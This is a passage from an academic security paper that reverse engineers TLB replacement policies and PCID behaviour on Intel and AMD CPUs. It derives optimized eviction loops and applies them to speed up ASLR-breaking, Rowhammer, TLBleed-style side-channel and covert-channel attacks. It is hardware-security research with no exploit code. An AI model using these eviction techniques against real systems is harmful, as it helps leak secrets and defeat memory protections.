regular caches [1], but for the TLB components, using TLB
desynchronization.

4.4.1 Experiment Design

We first test whether we can fill all W ways of a TLB set by
initiating W accesses to unique virtual pages mapping to the
same set. After each access, we swap the corresponding PTE
and finally access the W pages again to see if any of them
is a TLB miss. Although similar to the experiment in §4.2,
the fundamental difference here is that we start with a full set
instead of an empty set. The results confirm that after visiting
W pages, all their entries are present in the TLB set, on all
tested microarchitectures and TLB components. This is in
line with the conventional miss vector used in previous work.
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π0 = (0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11)
π1 = (1, 2, 0, 4, 5, 3, 7, 8, 6, 10, 11, 9)
π2 = (2, 0, 1, 5, 3, 4, 8, 6, 7, 11, 9, 10)
π3 = (3, 1, 2, 0, 4, 5, 9, 7, 8, 6, 10, 11)
π4 = (4, 2, 0, 1, 5, 3, 10, 8, 6, 7, 11, 9)
π5 = (5, 0, 1, 2, 3, 4, 11, 6, 7, 8, 9, 10)
π6 = (6, 1, 2, 3, 4, 5, 0, 7, 8, 9, 10, 11)
π7 = (7, 2, 0, 4, 5, 3, 1, 8, 6, 10, 11, 9)
π8 = (8, 0, 1, 5, 3, 4, 2, 6, 7, 11, 9, 10)
π9 = (9, 1, 2, 0, 4, 5, 3, 7, 8, 6, 10, 11)
π10 = (10, 2, 0, 1, 5, 3, 4, 8, 6, 7, 11, 9)
π11 = (11, 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

Figure 3: Permutation vectors for the sTLB replacement pol-
icy of Skylake-SP, Kaby Lake and Coffee Lake(-S) CPUs.

The main intuition of the algorithm presented by Abel and
Reineke [1] is that we can determine the position of an entry
in the ordering by finding the minimum number of TLB fills
required to evict the entry from the set. In general, the position
of the entry is W −nmin, where nmin is the minimum number
of TLB fills required to evict the entry and 1≤ nmin ≤W .

To find the permutation vectors, we first establish a known
state in the TLB set by priming it with W pages. After that,
we trigger any of the W permutations by causing a TLB hit
on the entry with the corresponding position in the ordering.
To determine what permutation vector we have triggered with
the TLB hit, we find nmin(x) for each entry x present in the set.
We do this by desynchronizing x immediately after accessing
it when priming, then determining the minimum number of
TLB fills required to cause a TLB miss when accessing x
afterwards. The new position of the entry is then W −nmin(x).
Hence, for each position i we determine the corresponding
permutation vector πi by deciding W −nmin(x) for each entry
x and placing each xpos on this index in πi. That is, πi(W −
nmin(x)) = xpos for each entry x and position i.

Before our experiment we first warm up the respective set
by initiating a number of memory accesses on unique virtual
pages to ensure the set is full. We do this because we wish
to measure steady-state behavior, and replacement policies
may behave differently when the set is not yet full [1, 2]. As
in the other experiments, we eliminate the influence of TLB
components not under test by selectively evicting that level.

To determine the new position of an entry we test a number
of iterations, each using randomly selected sets. This results in
a 2D matrix of S×W for each entry and permutation vector,
where rows represent the different TLB sets and columns
represent the possible positions in the ordering. A cell in this
matrix shows the number of votes for a position, obtained by
testing in a certain set. To find the correct new position for
each entry, we take the column with the highest number of
total votes, those in other columns being deviations, which we

e0 e1 e2 e3 e4 e5 e6 e7 e8 e9 e10 e11

0 0 1 0 0 0

1 0 0

2

M
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U

Figure 4: A possible sTLB ordering on Skylake-SP, Kaby
Lake and Coffee Lake(-S) after an access to entry 7. Entry 8
is the next victim.

refer to as errors. The error rate is defined as the percentage of
errors given the total number of votes. Essentially, we select
the deterministic permutation vector model closest to our
observations.

4.4.2 Results

Our results reveal a previously unknown replacement policy
on the sTLB of Skylake-SP, Kaby Lake, and Coffee Lake(-S).
Figure 3 shows the measured permutation vectors.

We recognize a possible implementation using a tree struc-
ture that behaves congruent with the permutation vectors.
The 12 entries are divided into three groups of four entries
each, with tree-PLRU keeping an ordering within each group.
The root node indicates the current victim group, which is
chosen based on the Most-Recently Used (MRU) group. Intu-
itively, if we number the groups 0, 1 and 2, we can say that
the victim group is MRU+1 using modulo 3 arithmetic. A
visual explanation of a possible ordering after an access to
entry 7 can be seen in Figure 4. Here, the second group was
most-recently used, and hence the root node is pointing to the
third group. A subsequent hit on any entry in the third group
(e8,e9,e10 or e11) would make the first group the victim group,
as (2+1)≡ 0 (mod 3). Finally, the nodes encountered while
traversing to the entry within the third group are updated to
point in the opposite direction, as with regular tree-PLRU. On
TLB fill the victim entry is replaced and the state updated as
if there had been a hit on the victim.

We are unaware of previous reverse engineering efforts that
describe this policy. The most similar is LRU3PLRU4, found
by Abel and Reineke [2] on the L1 data cache of Intel Ice Lake,
where the 12 entries are also divided in three PLRU trees, with
the victim group selected using LRU. Adopting their naming
scheme, we refer to our found policy as (MRU+1)%3PLRU4.
We ascertain that both of these policies belong to a family of
tree-PLRU variants patented by Intel Corporation [5].

Table 1 summarizes the replacement policies we measured.
On Westmere-EP, Ivy Bridge, and Haswell, we identified a
tree-PLRU replacement policy on the sTLB. For the dTLB our
results are consistent with tree-PLRU on all tested microar-
chitectures. The iTLB replacement policy on Westmere-EP
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Table 1: Summary of reverse engineered properties on Intel.

TLB Property Westmere-EP
E5645

Ivy Bridge
i3-3220

Haswell
i7-4790

Skylake-SP
Silver 4110

Kaby Lake
i7-7700K

Coffee Lake(-S)
i7-8750H, i9-9900K

Inclusive 7 7 7 7 7 7
Exclusive 7 7 7 7 7 7
L2 is victim cache 7 7 7 7 7 7
L2 hit inserts into L1 3 3 3 3 3 3
L1 hit inserts into L2 7 7 7 7 7 7

L1 dTLB
Number of sets 16 16 16 16 16 16
Number of ways 4 4 4 4 4 4
Hash function linear linear linear linear linear linear
Replacement policy tree-PLRU4 tree-PLRU4 tree-PLRU4 tree-PLRU4 tree-PLRU4 tree-PLRU4
Max PCIDs N/A N/A N/A N/A N/A N/A

L1 iTLB
Number of sets 32 16 / 321 8 / 161 8 / 161 8 / 161 8 / 161

Number of ways 4 4 8 8 8 8
Hash function linear linear linear linear linear linear
Replacement policy tree-PLRU4 LRU4 tree-PLRU8

2 tree-PLRU8
2 tree-PLRU8

2 tree-PLRU8
2

Max PCIDs 1 / 43 1 / 43 1 / 43 1 / 43 1 / 43 1 / 43

L2 sTLB
Number of sets 128 128 128 128 128 128
Number of ways 4 4 8 12 12 12
Hash function linear linear linear XOR XOR XOR
Replacement policy tree-PLRU4 tree-PLRU4 tree-PLRU8 (MRU+1)%3PLRU4 (MRU+1)%3PLRU4 (MRU+1)%3PLRU4
Max PCIDs 4 4 4 4 4 4
1 Depending on the activity of the co-resident hyperthread; see §4.2.
2 Model closest to our observations, but very high error rate; see §4.4.2.
3 Depending on whether the NOFLUSH bit is set when switching PCIDs; see §4.5.

corresponds to tree-PLRU, whereas Ivy Bridge uses perfect
LRU. On Haswell, Skylake-SP, Kaby Lake, and Coffee Lake(-
S), the closest model to our observations is tree-PLRU, albeit
with a higher than usual error rate—where errors denote sets
that do not behave consistently across iterations.

4.4.3 Error Rates

Our most stable results are on the sTLB of all microarchitec-
tures, with error rates of less than 1%. The dTLB error rate
on all microarchitectures is less than 8%, but since measure-
ment code itself is active in at least one of the 16 sets, the
majority of measurements in that set are off. The policies of
the iTLB on Westmere-EP and Ivy Bridge—tree-PLRU and
LRU—show an error rate of less than 5%, but, again, our code
resides in at least one set.

The exact context in which we conduct the experiment
influences the error rate. For example, writing to the CR3 reg-
ister before the experiment starts typically increases the error
rate significantly, while walking over the pointer chain twice,
recording only the second outcome, decreases it somewhat.
In all cases the measured permutation vectors remain either
unchanged or clearly erroneous.

Establishing the exact cause of this behavior is very diffi-
cult. We can exclude non-deterministic replacement policies,
as we achieve very low error rates with deterministic models.
Likewise, an adaptive policy would be unlikely for multiple

reasons. First, we can exclude set dueling, as we did not find
proof of difference in behavior among specific sets. Second,
any variant policy would itself be measurable as a different,
coherent replacement policy some of the time, and we have
found no evidence of such. Therefore, we speculate that the
fluctuation in error rate is caused by unexpected memory
accesses during the experiment. Possible causes could be
System Management Mode (SMM), non-maskable interrupts,
and TLB prefetching, which we know is used by AMD [8, 9].

4.5 PCID Support

The currently active PCID corresponds to the 12 least signif-
icant bits of the CR3 register. To investigate the role PCIDs
play in TLB behavior, we attempt to isolate an entry in the L1
dTLB similarly to previous experiments. This time, however,
we prime and check the TLB using a different PCID than the
one used for eviction. The results were surprising: in none of
the cases did we witness a TLB hit.

One possible explanation we considered was the TLB get-
ting flushed on switching PCIDs. The Intel architecture man-
ual [19] offers no strong guarantees about how the TLB be-
haves in this scenario, claiming it may or may not retain
entries. In addition, when switching from one PCID to an-
other, software needs to explicitly hint to the CPU not to flush
cached entries corresponding to the new PCID, a hint which
the CPU is free to ignore. To provide the hint, it sets the 63rd
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(NOFLUSH) bit of the CR3 register on a context switch.

Due to the lack of information on this topic we conduct a
systematic study of the interplay between PCIDs and TLB
behavior. We later identified a patent by Intel describing imple-
mentations that behave in line with some of our findings [11].

We first investigate the maximum number n of concurrent
PCIDs supported by a TLB. We start by accessing a randomly
chosen page and desynchronize its TLB entry. We then suc-
cessively switch to n different PCIDs, where 0≤ n≤ 4095.
We do this both with and without setting the NOFLUSH bit.
Lastly, we switch back to the original PCID while setting the
NOFLUSH bit and measure an access to the target page. If we
witness a TLB hit, we have not reached a maximum yet, and
we increase n. If we see a TLB miss on every iteration, we
have found a limit on the PCID support. As done previously,
other TLB components are evicted as described in §3.

As a follow-up experiment, we investigate whether a hyper-
thread can evict entries of the other hyperthread by switching
to new PCIDs. For this purpose, we create two kernel threads
scheduled on the same physical core. In thread 1 we visit a ran-
domly selected target page, desynchronize its TLB entry, then
temporarily switch to another PCID. Next, on thread 2, we
switch between all possible PCIDs in order. Lastly, in thread 1
we switch back to its original PCID with the NOFLUSH bit
set, and measure our target.

We present our results for each TLB component, as sum-
marized in Table 1. The results show that the dTLB does not
support PCIDs at all, as even when n = 0 the second access
results in a TLB miss. Hence, the dTLB is not aware of the
currently active PCID and flushes all entries upon a CR3 load.
The immediate security implication of this result is that the
recent TagBleed attack [22] cannot abuse the dTLB. The sec-
ond experiment shows that one hyperthread’s PCID switch
does not evict entries of the other hyperthread. This suggests
that entries are tagged with their owning hyperthread.

In contrast, we found that the sTLB does support PCIDs on
all tested microarchitectures, with no difference in behavior
between having the NOFLUSH bit set or not. When 0≤ n < 4
the last access results in a TLB hit, while as soon as n = 4 we
witness TLB misses, without exception. We conclude that the
sTLB supports a maximum of 4 PCIDs. As with the dTLB,
entries belonging to one hyperthread are not evicted by PCID
switches on the other hyperthread.

Our experiments show that the iTLB is also aware of PCIDs.
When not setting the NOFLUSH bit our entry is consistently
evicted when n = 1. However, when the NOFLUSH bit is
set, we measure evictions for unstable values of n, ranging
from 1 to 4. We were not able to find an explanation for this
behavior. As with the dTLB and sTLB, PCID switches on
one hyperthread do not evict entries belonging to the other
hyperthread, supporting the hypothesis of an iTLB that is
wholly partitioned between active hyperthreads.

4.6 PCID Cache

The fact that there is a limit on the number of distinct PCIDs
for which a TLB can hold entries suggests the existence of a
cache for holding PCIDs, which we refer to as a PCID cache.
Only PCIDs present in these caches may have their entries
in a TLB component. Having such a cache would mean TLB
entries need only store the bits to index into a small cache
denoting their assigned address space, as opposed to storing
all 12 bits of a PCID. As the sTLB supports 4 PCIDs, its
PCID cache has 4 entries and because PCID switches on one
hyperthread do not evict entries of the other hyperthread, it
follows that each hyperthread has its own instance.

As a cache with limited space, it must implement some
form of replacement policy to decide which PCID to evict
when full. We attempt to measure this behavior, modeling
it using permutation vectors and using the same algorithm
as in §4.4, but now using PCID switches instead of mem-
ory accesses. In other words, we determine how many PCID
switches are required to evict a PCID from the cache, for each
PCID position in each permutation vector.

Our results show that the sTLB PCID cache uses a per-
fect LRU replacement policy. The observations described in
§4.4.3 also pertain to the permutation vectors of the PCID
cache, although to a lesser extent. As mentioned, we observed
inconsistent results on the iTLB, but have enough information
to surmise one of two possibilities: either (a) the iTLB and
sTLB share a PCID cache, with the iTLB invalidating the
entries more eagerly (e.g., when not setting the NOFLUSH
bit) or (b) the iTLB has its own PCID cache of size 4 with a
more complex replacement policy.

4.7 iTLB Partitioning

Following our findings regarding iTLB partitioning between
hyperthreads from §4.2 we look into what happens at the
moment of transition between non-partitioned and partitioned
states. Because partitioning is done set-wise there must be a
discrete moment in time when the set hash functions transi-
tion from one to the other, evicting entries. We test several
hypotheses to how eviction is handled. First and most obvi-
ous is to flush the entire iTLB and have subsequent accesses
repopulate from sTLB or RAM using the new hash. A slight
optimization is to only flush the set indexes that exist solely
in the unpartitioned state, and which the new hash function
cannot address. A third strategy is to evict enough of the less
recently used ways of all sets to make room for the partition.

To test our hypotheses we design an experiment that moni-
tors iTLB behavior and measures what happens on transition.
For an iTLB with S sets of W ways we set up two lots, A
and B, of S×W pages each, mapped to fill the entire iTLB.
We populate these pages with code that amounts to a jump
chain that walks across all sets W times. Additionally, before
the jump, we set a bit in a known register identifying the set,
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Table 2: Summary of reverse engineered properties on AMD.

TLB Property Zen+
Ryzen 7 2700X

Zen 3
Ryzen 5 5600X

Inclusive 7 7

L1 dTLB
Number of sets 1 1
Number of ways 641 641

L1 iTLB
Number of sets 1 1
Number of ways 641 641

L2 dTLB
Number of sets 256/1922 256
Number of ways 8 8
Set selection bits 12–18, 21 12–18, 21

L2 iTLB
Number of sets 128 128
Number of ways 42 4
Set selection bits 12–17, 21 12–17, 21
1 Reported by cpuid, but consistent with our results.
2 Results inconclusive; see §A.2.

way number and chain (A or B) associated with that page. We
also add code to the page at the end of the chain that handles
recording and looping. This produces a self-contained code
blob that fills the iTLB and remains resident.

Running either of these chains by itself will not yield any
new information. Thus we prime with chain A, desynchronize
to have the page tables point at chain B, flush all entries out
of L2, then run chain A again. At the end the measurement
registers show, for every entry, whether it has survived un-
evicted thus far—chain A entries are from the initial priming,
chain B entries were reloaded from RAM. We loop over the
chain for as long as unevicted entries remain, recording new
measurements and the number of iterations between them.
This offers us a deep view into how the iTLB behaves over
time, allowing us to test our hypotheses.

Results show a high level of interference within the first iter-
ations, with (all) entries rarely remaining in the iTLB for long,
even with a completely idle co-resident hyperthread. After the
first few evictions the iTLB stabilizes and we see entries with
long lifetimes. Activating the co-resident hyperthread yields
results not conclusive enough to completely determine the
transition strategy, however we can draw some conclusions:
first, the iTLB does not flush sets in their entirety on transition,
rather it seems to flush some of the less recently used ways.
Second, regardless of the co-resident hyperthread’s activity,
a sufficiently often accessed entry can be kept in the iTLB
indefinitely, barring any descheduling or interrupts.

4.8 AMD
As pointed out before, our experiments described so far rely
on the assumption that the L2 TLB is a shared component

for data loads and instruction fetches. When running our
experiments on two AMD microarchitectures—Zen+ and
Zen 3—we found that this assumption does not hold.

We therefore design an alternative set of experiments. The
lack of a shared TLB component has proven challenging,
however, and several experiments do not work without this
feature. Foremost, we are unable to selectively flush a single
TLB level as we describe in §3, which prevents us from distin-
guishing between L1 and L2 entries. A first consequence of
this is that we are unable to design experiments that test for re-
insertion behavior and exclusivity. In addition, this limitation,
coupled with a fully associative L1 TLB, further prevented us
from reliably testing for replacement policies.

However, in spite of these difficulties, we design exper-
iments to determine set size, set mapping and inclusivity.
These experiments are explained in Appendix A. Our results
are summarized in Table 2.

5 Massaging TLB State

In this section we apply the knowledge about TLB replace-
ment policies gained in §4.4 to show how an attacker can
purposefully manipulate the TLB state to their advantage.
Specifically, we show how to create access patterns that evict
a target entry in fewer accesses than the state of the art.

Previous attacks that construct and use TLB eviction
sets [14, 15, 32, 39] do so under the assumption that an opti-
mal eviction set is of size W—the number of ways in a set.
Intuitively this makes sense: inserting W new entries clobbers
all existing W ways for a large class of replacement policies,
thus evicting our target regardless of its position in the set’s
replacement queue. This strategy is albeit only optimal if one
wishes to evict all entries from a set and no assumptions can
be made about its existing state. In practice, however, both
these assumptions are overly restrictive, as an attacker has
considerable power to prime the TLB state, and often targets
a singular entry in a set.

We show how relaxing these restrictions combined with an
accurate model of the replacement policies in use allows us to
construct access patterns that evict a particular target entry out
of an adequately primed TLB in fewer than W accesses. First
we introduce the theory behind constructing these patterns,
which we call optimized eviction sets. We then examine two
replacement policies, tree-PLRU4 and (MRU+1)%3PLRU4,
used on the L1d and L2s of modern Intel CPUs, and construct
optimized eviction sets for a most-recently-used target.

5.1 Theoretical Considerations
In order to benefit from knowledge about replacement policies
when constructing eviction sets we must first model the TLB
state and its evolution through time. Our key insight is treating
the possible states of a TLB set as nodes of a graph, with
directed edges that represent lookups changing the state.
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Table 3: Optimized eviction runs for Tree-PLRU4.

(a) Unknown Starting State

START (T X X X)
0 πm (0 T X X)
1 πm (1 0 T X)
0 π1 (0 1 X T)
2 πm (2 0 1 X)

(b) Primed Starting State

START (3 2 1 0)
T πm (T 3 2 1)
2 π2 (2 3 T 1)
3 π1 (3 2 1 T)
0 πm (0 3 2 1)

(c) Eviction Loop Self-Synchronization

START (3 2 1 0) START (3 2 1 0)
T πm (T 3 2 1) – (3 2 1 0)
2 π2 (2 3 T 1) π1 (2 3 0 1)
3 π1 (3 2 1 T) π1 (3 2 1 0)
0 πm (0 3 2 1) π3 (0 3 2 1)

For each TLB set of W ways and replacement policy P
we define σi—a data structure that exhaustively describes
the state of a TLB set, namely the present entries as well as
their relative replacement order. We also define ΣP the set
of all possible σi states and refer to it as the state space of
replacement policy P. ΣP will form the nodes of our graph.
Analogously, for each σi ∈ ΣP we define outgoing edges to
all possible successor states as expressed by P. We remark
that outgoing edges imply either a hit, of which there are
exactly W distinct possibilities, or a miss, of which there can
be arbitrarily many, bounded only by available memory.

Now that we have a model of TLB behavior, we apply it
to the problem of constructing eviction sets. In broad terms,
we pick a starting state that contains the eviction target and
then apply a graph search algorithm to find the shortest path
to our desired end state—one with the target entry evicted. As
for the choice of algorithm, we first remark that the raw state
graph has a huge number of nodes, each with a similarly huge
indegree and outdegree, leading to rapid memory exhaustion
for a naive breadth-first-search (BFS) approach.

Fortunately we can make several optimizations to reduce
the problem size. For our purpose of constructing an evic-
tion set, we observe that all entries can be categorized in
one of three distinct ways: T, a singular distinguishable tar-
get entry, inaccessible to the attacker; X, “don’t care”, non-
distinguishable, inaccessible entries; and i ∈ N, numbered,
distinguishable entries accessible to the attacker. By only con-
sidering these types of entries we greatly reduce the size of
our state space. Similarly, if we only consider outgoing edges
under the attacker’s control (i.e., hits or misses of i-type en-
tries) we further limit the outdegree of our graph. In addition,
we remark that when considering outgoing edges that repre-
sent a miss, all i-type entries are functionally identical, and
can thus be reduced to a single edge. By convention we pick
the lowest-numbered entry not currently in the TLB for this
purpose. These changes make it practical to apply BFS on the
reduced graph, providing insight into massaging TLB states.

5.2 Tree-PLRU4

We apply our previously discussed model to the tree-PLRU4
replacement policy. Thus we have σi = (e1,e2,e3,e4) and
outgoing edges according to the permutation vectors shown in
Figure 1b. At first we consider the case where the attacker has

0  1  2  3
(lead-in)

2  3  0
3  0  1
0  1  2
1  2  3

Figure 5: Optimized eviction loop for Tree-PLRU4.

no apriori information about the state of the TLB, other than
that the target is the most recently accessed entry. To model
this we choose our starting state σS = (T,X ,X ,X) and then
apply the search algorithm to find the shortest path evicting T .
Table 3a shows our results. While our sequence has the same
number of lookups as the state of the art, it incurs one fewer
TLB miss. According to previous work [14], this translates
into marginally fewer CPU cycles.

We can do better, however, if we allow the attacker to prime
the TLB set ahead of time. Considering the primed state
σP = (3,2,1,0), a TLB lookup of T will miss and lead to
σS = (T,3,2,1) which we use as starting state. Looking at the
resulting minimal path in Table 3b we see a clear improvement
over the previous case. Not only are we evicting T using
one fewer lookup, we are incurring a TLB miss only when
absolutely necessary—when evicting and replacing T . This
grants an attacker both faster eviction as well as stealthier
operation when compared with traditional eviction sets. In
latency terms, we expect a theoretical reduction of CPU cycles
of more than 25% [14]. We however observe that the final
state differs from the primed state we started with, leading to
a future repeat of the eviction run triggering other permutation
vectors than intended, ultimately failing to evict T .

To address this issue we extend our eviction sequence with
analogous runs, taking note of any repeating patterns. We do
this by adding a TLB lookup of T to the previous final state,
then we apply the search algorithm again to obtain the next
eviction run to add to our sequence and repeat the process.
After four such iterations we observe that we have reached a
previously visited σS, leading to a loop in our sequence and
an end to our algorithm. We now have a minimal, repeatable
sequence of TLB lookups which will evict any single most-
recently-used target, shown in Figure 5 along with the lookups
necessary to initially prime the set, which we call the lead-in.

There is one more issue we must contend with, namely syn-
chronization. We have thus far constructed our eviction loop
relying on a lookup of T to always occur in-between eviction

998    31st USENIX Security Symposium USENIX Association



Table 4: Optimized evictions for (MRU+1)%3PLRU4.

(a) Unknown Starting State

START (T X X X X X X X X X X X)
0 πm (0 T X X X X X X X X X X)
1 πm (1 0 T X X X X X X X X X)
2 πm (2 1 0 T X X X X X X X X)
3 πm (3 2 1 0 T X X X X X X X)
4 πm (4 3 2 1 0 T X X X X X X)
5 πm (5 4 3 2 1 0 T X X X X X)
6 πm (6 5 4 3 2 1 0 T X X X X)
2 π4 (2 4 6 5 1 3 X X 0 T X X)
7 πm (7 2 4 6 5 1 3 X X 0 T X)
8 πm (8 7 2 4 6 5 1 3 X X 0 T)
9 πm (9 8 7 2 4 6 5 1 3 X X 0)

(b) Primed Starting State (a = 10, b = 11)

START (b a 9 8 7 6 5 4 3 2 1 0)
T πm (T b a 9 8 7 6 5 4 3 2 1)
6 π6 (6 a b 9 8 7 T 5 4 3 2 1)
9 π3 (9 b a 6 8 7 3 5 4 T 2 1)
8 π4 (8 a 9 b 7 6 2 4 3 5 1 T)
0 πm (0 8 a 9 b 7 6 2 4 3 5 1)

runs. That assumption evidently does not hold in a real-world
scenario, and starting from a different state will trigger differ-
ent permutation vectors than expected. We therefore need to
investigate how the TLB state evolves when running our loop
with and without target lookups. To achieve this we replay
the lookups of an eviction run over both the primed state σP
and our original starting state σS and compare resulting states.
Examining the results for the first eviction run in Table 3c we
observe the very convenient property of self-synchronization.
Regardless if T is present in the starting state we see identical
final states—the TLB “re-synchronizes” to a properly primed
state on every run. This property holds similarly for the other
three eviction runs in the loop, meaning that each run will
prime the set for the next, regardless of lookups to T .

5.3 (MRU+1)%3PLRU4

Similarly to before, we apply our eviction run construction
model on (MRU+1)%3PLRU4. We have len(σi) = W = 12
and outgoing edges correspond to the permutation vectors pre-
sented in Figure 3. In addition, because (MRU+1)%3PLRU4 is
implemented by an L2 TLB we must either model it together
with a replacement policy for L1 or always ensure L1 misses.

We start by looking at the case with no apriori information
about the TLB state and obtain the eviction run shown in
Table 4a. Similar to our previous results for tree-PLRU4, we
obtain a marginally more efficient eviction run—one fewer
memory access and two fewer TLB misses, in theory 10%

0  1  2  3  4  5  0  2  1  6
(lead-in)

3 0 2 7
4 1 0 8
6 2 1 5
7 0 2 3 
8 1 0 4
5 2 1 6

Figure 6: Optimized eviction loop for (MRU+1)%3PLRU4.

fewer CPU cycles. Once again, allowing the attacker to prime
the TLB set dramatically improves the situation, as we can
see in Table 4b. Our optimized eviction run requires only one
third as many memory accesses, and incurs a single TLB miss,
necessary to evict T . This, as before, grants an attacker both
greater speed and more difficult detection, with a theoretical
latency of less than a third of the state of the art [14]. We also
remark that these 4 lookups, by virtue of being L1 misses,
also entirely flush a 4-way L1 dTLB.

We notice that not all primed entries are used for eviction,
only the ones corresponding to π6, π3, and π4. This means
our priming can be limited to just the entries required to trig-
ger these vectors, while also ensuring these positions remain
primed for a second run. Taking this idea further, we can ex-
tend several π6-π3-π4 eviction runs one after another until we
see starting states repeat. This occurs after 6 iterations, giving
us the complete eviction loop we see in Figure 6. Analogously
to tree-PLRU4, each π6-π3-π4 eviction run following the lead-
in is also self-synchronizing, i.e., it reaches identical final
states regardless of whether there has been a target lookup.

6 Case Studies

We now evaluate the impact of optimized TLB evictions
on several classes of existing attacks, as well as new attack
variants made practical by optimized eviction sets. Specif-
ically, we examine side channels that target the TLB di-
rectly [14], as well as various attacks that rely on TLB evic-
tion [15, 32, 33, 39]. We ran our case studies on an Intel
i7-7700K (Kaby Lake) CPU with microcode version 0xea
at 4.20 GHz, with frequency scaling disabled, 32 GB DDR4
RAM, and running Linux kernel v5.14.

6.1 Speed Benefits for Existing Attacks

We first examine the performance improvements that opti-
mized eviction sets can bring to existing attacks.

Page Translation Side Channels In our first case study, we
look at the class of side channels that rely on measuring the
side effects of page translation and feature TLB eviction as a
supporting mechanism for triggering page table walks. Here
the TLB evictions are not at the heart of the attack, but still
play an important role in the overall overhead. Examples in-
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clude AnC [15], RevAnC [33], and XLATE [32]. We examine
AnC as a representative of this class.

Starting with the native code implementation 1 as a baseline
we patched it to use optimized TLB eviction sets. Because the
purpose is to evict a target entry from the TLB entirely, we
used the L2 eviction loop from §5.3. Figure 7 plots the time
needed to break ASLR for both the original AnC implemen-
tation and our patched version. We see a clear improvement
for the latter, taking on average 20% less time to break ASLR
than naive eviction sets. These results show that optimized
TLB evictions provide tangible improvements even to side
channel attacks in which they serve a supporting role.

Page Translation Rowhammer In our second case study,
we look at Rowhammer-based page translation attacks which,
again, feature TLB eviction as a supporting mechanism for
triggering page table walks. The recent PTHammer [39] tech-
nique exemplifies this class of attack. Rowhammer is a vul-
nerability in modern DRAM manifesting as bits in one row
flipping due to the leakage of electrical charge, caused by
rapid repeated accesses—hammering—of neighboring rows.
The hammer rate must be sufficiently high to allow for enough
charge to leak before the row is refreshed. Furthermore, the
PTHammer authors show that the relationship between ham-
mer rate and bit flip frequency is strongly non-linear, making
even marginal gains potentially very significant.

1https://github.com/vusec/revanc

Table 5: Raw sample rates (M/sec) of TLB-based channels.

Naive Optimized diff

L1d
clear 50.5 51.4 +1.8%
noise 34.4 41.3 +20%

L2
clear 14.1 33.4 2.37×
noise 13.5 25.5 1.89×

L1d+L2
clear 3.5 18.18 5.19×
noise 3.07 14.28 4.65×

We initially attempted to reimplement PTHammer [39],
reproduce their results, and show the improvements of opti-
mized eviction sets on concrete bit flips. This attempt proved
unsuccessful on modern hardware, and we were unable to
acquire a hardware setup similar to what the authors used due
to its age (circa 2011). As an alternative, we implemented a
benchmark using the same techniques as the authors, which
we used to compare the effect of naive and optimized eviction
sets on the hammer rate.

Looking at the results, the hammer time falls into three
distributions, with only the fastest evidencing differences be-
tween naive and optimized evictions. We hypothesize this to
be caused by stalls on the ring interconnect and surmise that
the slower rates are insufficient to cause bit flips. Thus, we
examine the faster distribution in detail in Figure 8. We see
a roughly 12% shorter median hammer time for optimized
vs. naive eviction sets. Again, these results show that opti-
mized TLB evictions provide tangible improvements even to
Rowhammer attacks in which they serve a supporting role.

6.2 Direct TLB Attacks
We now examine attacks that directly feature TLB lookups
as a side channel, as exemplified by the TLBleed attack in-
troduced by Gras et al. [14]. Specifically, we highlight how
optimized eviction sets improve the sampling performance of
TLBleed-style attacks, both enhancing the original variant, as
well as practically enabling additional variants. We discuss
the benefits of these new variants and why they are relevant
for potential attackers. Finally, we conclude by quantifying
the benefit of optimized evictions in covert channel scenarios.

TLBleed Sampling Performance Using similar techniques
as described by Gras et al., we implement a TLBleed-style
side channel using both naive and optimized eviction sets and
measure its sample rate. We focus on two scenarios: clear,
when the other logical core is idle, and noise, when a co-
resident thread randomly accesses memory. Our results are
summarized in Table 5.

Compared to the original attack on L1d, we implement the
eviction loop discussed in §5.2. While the results show only a
small improvement on a clear channel, the difference is much
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more pronounced when the channel is actively used, where
we see the original implementation requiring as many as 4
misses, compared to just one for our optimized eviction sets.

We adapt our experiment from before to target the L2 sTLB,
implementing the eviction loops discussed in §5.3. We note
that the original TLBleed paper did not consider attacks based
on L2 sTLB due to the fairly poor performance, as evident
from Table 5. The improvements due to optimized eviction
sets for L2 are more evident than for L1, showing roughly
2× improvement in the sample rate for both clear and noisy
channels. Indeed, the absolute rates measured here for L2
approach those presented for L1d in TLBleed [14], providing
sufficiently fine temporal granularity to enable similar attacks,
but now on L2, yielding a practical, finer-grained variant of
the original TLBleed attack.

Set-pair TLBleed We observe in Table 1 that newer Intel
microarchitectures exhibit co-prime set selection functions
for L1d and L2. Under these circumstances, a further possible
TLB side channel can be constructed over a particular pair
of L1d and L2 sets by timing the eviction of each level in-
dependently. Doing so naively is laborious, as we lay out in
Appendix B, but we can use our knowledge of replacement
policies to construct more practical eviction sets. We remark
that each step of our eviction loop from §5.3 entirely fills L1d,
therefore repeating it will always hit L1. Any new access will
evict an entry, causing misses that hit L2 with a discernible de-
lay. Conveniently, repeating a loop step is self-synchronizing,
as we show in detail in Appendix C. Having independently
measured L1 usage, we time the next step of the eviction
loop to measure L2, similar to the previous paragraph. We
consider our victim set pair to have been accessed only when
both measurements agree, considering it noise otherwise.

The performance improvements of optimized eviction sets
are most evident for this technique, with up to 5× the rate of
naive, as shown in Table 5.

Spatial Discrimination and Set Count When running TL-
Bleed attacks over L2 or a pair of L1 and L2 sets, we gain a
finer target selection due to the larger number of sets, or of
combinations of sets. This better spatial discrimination gives
an attacker greater confidence that a positive measurement
has actually been caused by a target access, as random noise
is less likely to perturb the TLB state in the same way.

Existing exploits that target either the LLC [13] or the
TLB [14] report higher levels of noise on some sets that is due
to aliasing—undesired (secret-independent) victim accesses
that map to the same set as the target secret. Better spatial
discrimination reduces aliasing, and therefore aliasing noise,
in a way that is directly proportional to the number of sets.
Monitoring L2 would thus provide roughly an order of mag-
nitude less aliasing noise (8 times less), with L1+L2 reducing
it further by an additional order of magnitude, to 128 times
less than original L1d TLBleed.

Furthermore, having more sets to work with has an ad-
ditional benefit. Optimized covert channel implementations
built on top of cache contention require a significant num-
ber of auxiliary sets for unidirectional communication. The
PHY implementation proposed by Maurice et al. [26], for
example, requires 26 sets, with 14 sets for sequencing and
synchronization alone, and would not fit within the number
of L1 TLB sets. While serial designs, such as the one by Liu
et al. [24], address synchronization differently and thus use a
minimal number of sets, they do so at the expense of perfor-
mance, requiring multiple set evictions for every bit. As such,
an eviction primitive offering similar sample rates for a much
larger number of sets enables state-of-the-art covert channel
implementations for the TLB.

Covert Channel In order to quantify the benefits of opti-
mized eviction sets beyond raw sample rates, we implemented
a proof-of-concept covert channel over L2 in a sandbox set-
ting, based on the original TLBleed implementation [14].
Compared to the original implementation, which used evic-
tion to both send and receive a bit, we send by using a single
